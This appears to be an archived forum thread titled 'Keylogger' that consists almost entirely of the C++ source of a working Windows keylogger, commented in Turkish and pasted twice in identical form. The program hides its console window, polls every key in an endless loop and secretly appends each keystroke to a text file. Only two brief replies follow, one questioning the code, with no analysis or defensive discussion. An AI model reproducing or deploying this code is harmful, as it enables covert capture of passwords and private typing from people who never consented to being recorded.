Keylogger

#include <iostream> // Klavye ile deger girilebilmesi için gerekli kütüphane
#include <windows.h> // Programı gizli çalışması için gerekli kütüphane

using namespace std; // cin nesnesi mantıksal olarak içerisinde yer alır.

int Save(int _key, char *file);

int main() {

HWND stealth; //Programın gizli çalışması için yazılan kod*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

char i;

while (true) {
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "zzzBeniOku!!!zzz.txt");
}
}
}
return 0;
}

int Save(int _key, char *file) {

cout << _key << endl;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LMB]");
else if (_key == VK_TAB)
fprintf (OUTPUT_FILE, "%s", "[TAB]");
else if (_key == VK_CONTROL)
fprintf (OUTPUT_FILE, "%s", "[CTRL]");
else if (_key == VK_END)
fprintf (OUTPUT_FILE, "%s", "[END]");
else if (_key == VK_HOME)
fprintf (OUTPUT_FILE, "%s", "[HOME]");
else if (_key == VK_LEFT)
fprintf (OUTPUT_FILE, "%s", "[SOL]");
else if (_key == VK_RIGHT)
fprintf (OUTPUT_FILE, "%s", "[SAG]");
else if (_key == VK_UP)
fprintf (OUTPUT_FILE, "%s", "[YUKARI]");
else if (_key == VK_DOWN)
fprintf (OUTPUT_FILE, "%s", "[ASAGI]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[ENTER]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else
fprintf(OUTPUT_FILE, "%s", &_key);

fclose(OUTPUT_FILE);

return 0;
}
#include <iostream> // Klavye ile deger girilebilmesi için gerekli kütüphane
#include <windows.h> // Programı gizli çalışması için gerekli kütüphane

using namespace std; // cin nesnesi mantıksal olarak içerisinde yer alır.

int Save(int _key, char *file);

int main() {

HWND stealth; //Programın gizli çalışması için yazılan kod*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

char i;

while (true) {
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "zzzBeniOku!!!zzz.txt");
}
}
}
return 0;
}

int Save(int _key, char *file) {

cout << _key << endl;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LMB]");
else if (_key == VK_TAB)
fprintf (OUTPUT_FILE, "%s", "[TAB]");
else if (_key == VK_CONTROL)
fprintf (OUTPUT_FILE, "%s", "[CTRL]");
else if (_key == VK_END)
fprintf (OUTPUT_FILE, "%s", "[END]");
else if (_key == VK_HOME)
fprintf (OUTPUT_FILE, "%s", "[HOME]");
else if (_key == VK_LEFT)
fprintf (OUTPUT_FILE, "%s", "[SOL]");
else if (_key == VK_RIGHT)
fprintf (OUTPUT_FILE, "%s", "[SAG]");
else if (_key == VK_UP)
fprintf (OUTPUT_FILE, "%s", "[YUKARI]");
else if (_key == VK_DOWN)
fprintf (OUTPUT_FILE, "%s", "[ASAGI]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[ENTER]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESC]");
else
fprintf(OUTPUT_FILE, "%s", &_key);

fclose(OUTPUT_FILE);

return 0;
}

Alright. And what's up with that piece of code?!
Apart from that, I believe you already have a topic here about that code.
Topic archived. No new replies allowed.